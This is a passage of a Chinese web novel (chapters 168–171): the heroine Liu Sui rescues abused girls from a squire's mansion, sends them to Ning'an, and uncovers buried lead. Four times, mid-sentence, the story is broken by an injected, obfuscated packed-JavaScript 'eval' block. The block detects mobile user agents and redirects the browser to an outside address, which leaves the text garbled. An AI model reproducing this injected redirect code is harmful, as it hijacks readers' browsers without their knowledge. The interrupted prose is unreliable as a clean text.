女孩不敢伸手,怯怯看一眼她,又赶忙把头低下去。 “我姐姐我不干净” 柳岁微笑着向她走近一步,一把牵起她的手。 “只要心干净,你就还是你!我马上十六,你呢?” 女孩垂眸,泪在眼眶中打转。 “十四。” 柳岁气的咬了咬牙。 都还没及笄的孩子,放在现代还是个初中生,这孙员外简直禽兽不如。 她仍保持微笑,握着女孩的手紧了紧。 “的确可以唤我声姐姐,你有名字吗?” 不等女孩回答,柳岁蹙眉。 “昨日种种譬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015229|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如昨日死,今日种种譬如今日生,你既叫我一声姐姐,我就不能不管你。” “青青园中葵,朝露待日晞。阳春布德泽,万物生光辉。” “你日后就叫青青吧,我希望你就如向日葵一般,向阳而生,永不言弃!” 她终于哇的一声哭出来,仿佛想把多年来的委屈、屈辱,所有无法付诸于口的痛苦一股脑发泄出来。 她哭,身后远远听着她们对话的女子也开始哭,从一开始的小声啜泣变成失声痛哭。 等到她们平静下来,已经过了差不多一个时辰。 热乎的饭菜随意摆在院中央的红木桌上。 柳岁浅笑盈盈,招呼她们全部坐下。 “天大地大,吃饱肚子最大,我知道现在带你们出去,你们肯定是不愿的。” 没人出声,只是不停用眼角余光打量柳岁。 她的脸上没有一 丝嫌弃之色,仿佛是像对自家姐妹那般熟稔而亲昵。 “不知你们喜欢什么,就都买了些过来,不必拘谨,想吃的自己夹就好。” 柳岁率先夹了块红烧肉,炖的软烂,入口即化,香而不腻。 “唔好次诶。” 她笑的弯了眉眼,口齿不清。 唤青青的女孩也动了筷子,照柳岁的样也夹了一筷子红烧肉。 她低垂着眼眸,柳岁依旧看到了她眼中闪动着的泪光。 这一顿饭吃了好久,席间无人开口,学着柳岁的样大口吃饭。 饭菜撤下去之后,又上了十几碟子精致的点心,还有几壶冰镇过的奶茶。 “尝尝,这可是我的独家秘方,今日你们算是有口福了。” 青青浅抿一口,眼中迸出惊喜的光。 “姐姐,牛乳我也是喝过的,但不是这个味道。” 柳岁喝了一大口,唇边沾染了不少奶渍,模样看起来呆萌又俏皮。 她眨了眨眼,顺手捻起块桂花糖糕放在嘴里咀嚼。 “奶茶!日后我打算开个店铺,青青你要不要学?” 青青犹豫着没第一时间开口,她也不知自己有没有这个资格。 第169章 财不外露 “我说你可以就一定可以,你可识字?” 柳岁舔了舔唇角,像极了贪吃的小猫。 青青不自觉地笑了笑。 “识得一些,但不多。” 这时代的女子打小就被灌输女子无才便是德,就跟洗脑似的,能做几句诗的实属难得。 “待会我把方子写下来给你,去了宁安看你是愿意帮我打理铺子,还是去绣坊,都随你的意。” 青青捏着衣角,不安的瞄一眼柳岁。 “我虽许多事都不懂,可也知道这样的东西是不外传的,姐姐为何如此信我?” “疑人不用,用人不疑,若最后是我看走了眼,只能怪我识人不清。” 心情沮丧的时候最适宜吃甜食,能缓解情绪,抚平忧伤。 “生活本就很苦,可终有苦尽甘来的一日,愿你们日后所遇皆甜,能让你们重新站起来的人,只有你们自己,一味依赖别人,就永远无法摆脱阴影。” 看她们一个个若有所思的模样,柳岁的一颗心才略微放了些。 “姑娘,孙员外请进府的高人我曾见过一次,长得没什么特别之处,但他的鼻梁上有颗很大的黑痣,对了,他好像有一只眼睛无法视物。” 这简直就是意外之喜,若真如这姑娘所说,这人只要摘下面巾,如此明显的特征,不怕抓不到他。 “叫我岁岁吧,姑娘听着怪别扭的。” “岁岁姑娘,那个您说的宁安离晏城远吗?我们这么多人一下过去,别人真不会好奇?” 柳岁抚额,尊卑的观念几乎是刻在她们骨子里的,想要改变,真的难如登天。 “放心,那里的城守乃是我的义父,我会提前传信回去,倒是你们想想到时办身份文牒时要用什么名字。” 所有人几乎是同时抬头,眼中满是不可置信。 “岁岁姑娘,您的意思是我们今后能拥有自己的文牒?可以用普通人的身份生活?” 柳岁托着腮,轻轻点了点头。 “具体的你们过去了自然会知道,宁安可不比这晏城热闹,那里乃是大昭的流放之地,环境恶劣,可能再无锦衣玉食,也没下人伺候在侧。” 她想着若是有人不愿去,就给一笔银钱让她去别处重新开始,宁安虽在重建,可到底地处偏僻,不是谁都愿意吃苦受罪的。 青青也不知为何格外信任柳岁,哪怕她要把她卖了,她也心甘情愿。 “姐姐,青青想去宁安,绣花我不会,但我可以学着替您守着铺子。” “那你们呢?如果不愿意可以现在告诉我,我会着人给你们一笔银钱,至于去哪安身,你们自己决定。” 柳岁正对面坐着的姑娘自始至终未发过一语,此时听到她这句话,缓缓抬起头。 “你为何要帮我们?无亲无故的,也不是一两个,何况我们早已不是清白之身。” 柳岁在心中笑一声,心道这才是人的正常反应,也算她今天的努力没白费。 她们心中被种种困惑和不解占满,就没空再去想寻死的事了。 “问得好!自古宁安一直是流放之地,如今重建,没个年的时间很难成气候,那自然就缺人,城中唯一的绣坊也空了许久,女子一般不会抛头露面,可宁安不一样,没人会歧视自食其力的人,反而以此为荣。” 空气再一次安静下来。 她们各怀心思,也对柳岁所说的宁安产生了强烈的好奇心。 如果,只是如果,真如她所说,她们也能站在阳光下,堂堂正正做一回真正的人! 有女子壮着胆子看向柳岁,紧张的身子都有些微微发抖,她都不记得自己多久没出过屋子了。 “那那个姑娘,我想去你说的宁安,真的我不怕吃苦,只要。。。。只要再不会有人打我就好。” 柳岁心疼的看她一眼,不知为何心堵的厉害。 明明是一样的人,却因出生贫苦,早早失去了家人,就沦落成如此的下场,唯一的愿望竟只是不要再挨打。 柳岁朝一旁招了招手,有两个装扮利索的黑衣女子自暗处走了出来。 “主子有何吩咐?” “你们护送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015230|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们回宁安,留在她们身边,直到她们可以自食其力。” “可谢夫人让属下们护您周全。” 柳岁笑着摇头,“无妨,你们也瞧见了,阿昭身边带着的人手也不少,再说了,我的本事你们还不清楚吗?” 水塘那边似乎有什么发现,吵吵嚷嚷的。 “如果认同我的说法,现在就安排马车让你们离开,不愿同去的,可在半路下车,盘缠一分不少的给你们。” 有人自嘲地笑了笑。 “姑娘不嫌弃我们已属不易,我们本就无家无亲人,何处才是家?我愿意去宁安。” 想到以后能光明正大地走在路上,不被人说三道四,不被人指着脊梁骨骂贱货,心中就充满了向往。 “你们都和她一样的想法吗?” 众人齐齐点头,这一次回答得坚定而又勇敢。 “日后但凭姑娘吩咐!我们愿意去宁安。” 柳岁顿时乐了,看着这一群如花似玉的姑娘,突然觉得自己所做的一切都值 得。 “行,贵重的物品全带上,剩下的不要了!一会先去买几身换洗衣裳。” “姐姐我不想要员外府的东西,脏” 青青垂着头,不敢看柳岁的眼睛。 柳岁噗嗤笑出声,伸出手指戳了戳她的脑门。 “傻丫头,你记住了,跟谁过不去,也不能跟钱过不去!孙员外做下这般天理不容的事,不过拿他些东西当补偿,已经算是便宜他了!” 青青吸了吸鼻子,嗅着柳岁身上的清香,泪再一次涌上来。 “好,青青全听姐姐的。” 她们速度很快,不过几盏茶的时间,手里拎着个不大不小的包裹出来了。 “就这些?” 众人不明所以,只是乖乖点了点头。 “我也不多说了,只希望你们记得,任何时候财不外露,也莫轻易相信别人,你们之间必须彼此帮衬,明白吗?” 宁安鱼龙混杂,就算有景昭辰的人,还有冯震,但,防人之心不可无! 第170章 意难平! 送她们离开,柳岁站在侧门,一直看着马车消失在远处,这才看向一旁的景昭辰。 “阿昭,你可会怪我多管闲事?” 同为女子,她实在不忍心看着她们自生自灭,她想视而不见,赶紧处理完晏城的事情离开,但做不到。 景昭辰没正面回答她的问题。 “如果将来她们生了二心,岁岁可会后悔今日的决定?” 他一直都知道柳岁并不似表面上看起来那般冷漠,仿佛什么都不在意,实则她内心良善,见不得无辜之人受苦。 “不会!这世上最难测的就是人心,有句话说得对,有时人比鬼可怕多了,我问心无愧,剩下的看天意。” 她转头,冲着景昭辰弯唇一笑。 “看走眼不是咱们的错,而是他们不值得,想走的人留不住,不必为难自己,你说是不是?” 景昭辰微滞,旋即想起什么,曲指弹了弹她的脑门。 “知道了,我不会把那些再不相干的人和事放在心上。” 柳岁笑着跃上景昭辰的后背,小手不安分的拍一把他的屁股。 “走,咱们去看看他们发现了什么!” 方有为捂着眼睛,心里默念,非视勿视,非视勿听! 苍天啊!救救他这可怜的单身男人吧! 在一个单身狗面前撒狗粮,简直天理不容!禽兽不如! 柳岁猛的回头。 “方有为,你若是再敢骂我,我就让阿昭给你安排十个八个妾室!” “轰——” 如同一道晴天霹雳,方有为整个人都石化了。 要是府上一下多出十几个女子,他都不敢想象那场景,还让不让人活了啊! 现在想这个好像不太对,这柳姑娘当真是能窥探人心? 他浑身一哆嗦,搓了搓胳膊。 可怕,实在太可怕了! “不敢,不是,我也没骂你啊” “我错了,柳姑娘可不敢让王爷给我娶那么多的妾室,方某承受不起。” “柳姑娘,下不为例” 他们一路说笑着走远了,谁也没注意到巷尾的那抹身影。 明清眯着眼,看着他们的身影消失,眼露疯狂。 “公子是我的!只能是我一个人的!我是绝不会让你们把他带走的!” 昨夜他并未离开,而是躲在了杂物房。 那只可怕的蛇背着的年轻男子分明就是当初那位美得如同谪仙的公子。 听柳岁他们的意思,接下来,他们还会远行,就是不知目的地在何处。 他们人多,皆是武功高强的,他打不过,但可以智取,百密总有一疏,只要他跟着他们,总能寻到机会。 螳螂捕蝉,黄雀在后。 明清离开,不远处的屋顶出现两道身影。 若细看,那身形高大点的男子鼻梁上有一颗十分明显的黑痣。 “主子,被发现了,如今怎么办?” 男子眯眼,目光不善。 “慌什么,圣女早就预言到的事,不过提前了一些,本使就不信他中了那毒,这天下还有人能解得了。” 他冷笑,继续叽里呱啦说了些什么。 旁边瘦弱的男子频频点头。 二人离开。 柳岁几人缓缓自门后走出来,盯着他们消失的方向。 景昭辰与她对望,相视一笑。 “鱼上钩了!” 柳岁笑,“看来入晏城时想杀你的人真的是他,接下来的一路上可就热闹了。” 二人眼聪目明,柳岁吞了雪魄丹之后,听力简直不要太吓人。 别说只隔着一条小路,就算隔着座山,柳岁觉得自己也能听见他们的呼吸声。 “岁岁如何知道他们定会前来?” 柳岁故作高深,挑了挑好看的眉。 “你猜。” 她笑着跑开,留下景昭辰和一脸蒙圈的方有为。 “王爷,您和柳姑娘说的是何意啊?属下一句也没听懂。” 景昭辰背着手,好看的凤眼中满是缱绻爱意。 “你这榆木脑袋,说了也不懂,还是做好分内之事。” 方有为挠了挠乱七八糟的头发,见景昭辰走得有些远,赶紧小跑着跟上。 “王爷,您心疼一下属下,千万别给我纳什么妾室。” “看你表现。” 方有为苦着张脸,像只斗败的公鸡垂头丧气跟在景昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015231|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰身后。 “王爷您变了!” “嗯,毕竟本王如今有了心爱之人,不像你” 杀人诛心,算是被这两人玩得明明白白的! 方有为气结,想起件事,板正的脸上终于露出一丝得意的笑。 这边又是闹鬼,又是探密,最后还来一出救人大戏,害得他都忘了和景昭辰说京城那边传来的消息。 从京城到晏城,快马加鞭也得七日。 哈哈,所以,要是景昭辰得知,也不知会不会火冒三丈。 想到这,方有为受伤的心终于得到一丝安慰。 见他如此,景昭辰心中咯噔一声,暗道一声不妙。 结果就听方有为在那幸灾乐祸的道。 “王爷 ,听说那位给您和丞相之女赐了婚,消息昨晚到的,估计现在丞相府那边都开始准备嫁妆了。” 景昭辰斜睨他一眼,脸上并没有方有为想看到的惊慌失措,一如既往的云淡风轻,仿佛说的是别人的事。 柳岁亦然,甚至比景昭辰还要淡定。 两人手牵手,有说有笑往水塘边走。 “这事儿你可别问我,自己的事自己处理。” 景昭辰笑着应一声,伸出手替柳岁将碎发别在耳后。 “嗯,只要岁岁别怪我心狠就是。” 柳岁摆手,不以为意。 “成大事者不拘小节,给他寻点事做,省得一天到晚总是想着如何算计别人。” “那你可有好的法子?” 柳岁没好气白他一眼,掐了把他胳膊上的软肉。 “少在这装好人,你我本也不是良善之辈,估计今日的事你早就想到了,也早早做好准备了。” 景昭辰笑而不语。 身边有一个懂自己的人,这感觉真的很好,不光全心全意信任,还能放心地把后背交给她。 方有为气地咬牙切齿。 这两人是不是有毛病,听到这种事竟然完全不生气,倒显得他这局外人有点多管闲事。 还有刚才柳岁看他的那一眼。 就仿佛他是个跳梁小丑。 看戏的,最后成了个笑话! 这可真是让人意难平! 第171章 病入膏肓 水塘中的水已经全部抽干,员外府的下人累得一个个瘫软在地,大口地喘着粗气。 费时费力,可柳岁就是不许景昭辰和方有为的人帮忙。 不是她心狠,而是谁也不知这水底下除了水银还有什么有害的重金属。 员外府的这十人肯定是必死无疑了,就让他们死前最后再发光发热一回,体现最后的价值。 景昭辰他们的人还要干大事,自然不能为了省时间,就用他们的性命当赌注。 新挖开的泥中泛着淡蓝的光,不仔细看,都发现不了。 柳岁蹙眉,拦住景昭辰和方有为想要上前查看的脚步。 她有些犹豫,“这是铅吗?” 景昭辰和方有为都摇摇头,表示他们也不清楚。 金银铁矿倒是见得多,柳岁嘴中的铅他们甚至都不知是何物。 柳岁腹诽,也不知是孙员外还太蠢,还是背后的人太狠,哪个好人家没事在地底下埋这么多重金属。 真想死,还不如一抹脖子了事! “已经到底了?” 十人点点头,累得连抬胳膊的力气都没有。 “回姑娘话,真的到底了!” 柳岁看着脚下深坑,笑话了自己一声。 再挖下去,都能见到地球了! “辛苦了,你们回屋歇着吧!” 有人嗫嚅。 “姑娘说好的解药?” 柳岁一本正经的胡说八道,脸不红心不跳。 “放心,答应你们的事我肯定做到,药已经熬着了,你们且耐心等等。” 他们十人病入膏肓,药石无医。 柳岁嘴中的药,不过就是缓解疼痛的,让他们走得能不那么痛苦,也算是她对他们唯一的善意。 他们是听令行事没错,可是为虎作伥终究没好报! 能在睡梦中死去,是许多重病之人求而不得的好事。 见他们走远,柳岁这才看向景昭辰。 “我确定了,这就是铅。” 景昭辰没出声,等着她接下来的话,他不是个不懂装懂之人。 三人行,必有我师焉! 柳岁想起从前自己打发时间时翻看的军事杂志,那上面曾有记载,铅并不是现代才有的,早在商代和西周时期,它就被用作制作武器和工具,古罗马甚至用铅制作酒杯等物,后来许多贵族因此生了怪病,死状凄惨,这才废弃不用。 “这么说吧,这玩意虽然有辐射,但是密度较大,熔点低,可塑性强,若是用于制造箭头是再好不过的材料,只是开采时需得加强防护,不能徒手去抓。” 大昭军队所用箭矢箭头通常使用的是动物的骨头和普通的铁,当然好一些的也会使用铜箭头。 但,铜矿稀少,能配备这种箭矢的只有京城的禁卫军。 至于别的军队,柳岁曾见过景昭辰房中摆着的箭矢,就是普通的不能再普通的铁。 时间一久,难免生出斑驳铁锈,影响使用和杀伤力。 “岁岁是说这些可做为箭头?” 柳岁还未开口,方有为迫不及待地追问了一句。 “何为熔点低啊?” 他也是当兵的出身,原本对武器一类的就十分感兴趣,何况若是真能像柳岁所说,大昭的军队在作战时就能减少伤亡,于公于私都是百利无一害。 “不像制造铁器和铜器那般费时费力,更好塑造出咱们想要的形状,而且箭矢在射出的过程中能够保持较高的速度和穿透力,这样能大大减少咱们将士的伤亡。” 之前的战争甚至还出现过箭飞出去一半,箭头掉落的情况,如此即使射到敌人身上,也造不成多大的伤害,反而是我方鏖战之时,经常会因拖的时间太长,造成武器不足的情况。 千钧一发之际,这可是要命的! 全军覆没也不是没有可能! 平阳军就是最好的例子,弹尽粮绝,没一点生还的可能。 “阿昭,我之前让人做的那批手套应该也已经好了,不如就先运来晏城,尽量避免不必要的伤害。” 景昭辰点头,朝一旁的江树使了个眼色。 江风一直留在客栈心急如焚,却又无可奈何。 员外府他再熟悉不过,但正因如此,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015232|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更不能出现在那里。 孙员外那个蠢货,事没办成,人倒死的渣都不剩。 这下好了,员外府被柳岁翻了个底朝天,主子谋划的事,算是泡汤了。 也不知那些做为药引的女子下场如何,他不敢打听,也无处打听。 因为他发现了,所有的人都对他心生戒备,只要他到的地方,他们会马上停止说笑,假装若无其事地离开。 还有柳岁身边的那条肥蛇,对他的敌意不是一般的大。 就好像他江风杀了它的祖宗八代! 不过想了这么一会事情,江风又觉得浓浓困意袭来,他没忍住打了个大大的哈欠,阖眼,就已沉睡。 房间他检查过,并没可疑之物,他只认为是自己这段时间多思多虑,又被那条蛇搅得心绪不宁,才导致这种情况。 然而他不知道的是,柳岁他们怕他坏事,在房梁上涂了一层能让人昏睡的药,对 人体没什么伤害,就是整日提不起精神,觉也比平常多。 毕竟现在杀了他,线索就又中断了。 引蛇出洞,也要有猎物。 江风睡过去,由于药物作用,没有了往日的警惕,此时连窗口站着两个人也没发觉。 “他为何睡得这般沉?” 男子冷笑,“估计是被下药了,他竟一无所知,也不知主子为何如此信任他。” 他顿了顿,见江风还是一点反应也无,吩咐一旁瘦弱的男子。 “传信给主子,把这里的情况一五一十告诉他,看看接下来我们要做些什么。” 江风床下的两个捂着口鼻的暗卫互望一眼。 他们两人消失之后,有道身影飞快地朝员外府的方向奔去。 一切都在柳姑娘和摄政王的掌握之中,那些人以为自己是执棋之人,其实他们也不过是这局的一枚棋子。 员外府的事暂时告一段落,只需方有为派人把铅开采出来,但此事要秘密进行,不得声张。 那一位是个小心眼的,原本是好事一桩,可他会以为景昭辰有不臣之心,即使没有,他也能给景昭辰安上一个莫须有的罪名!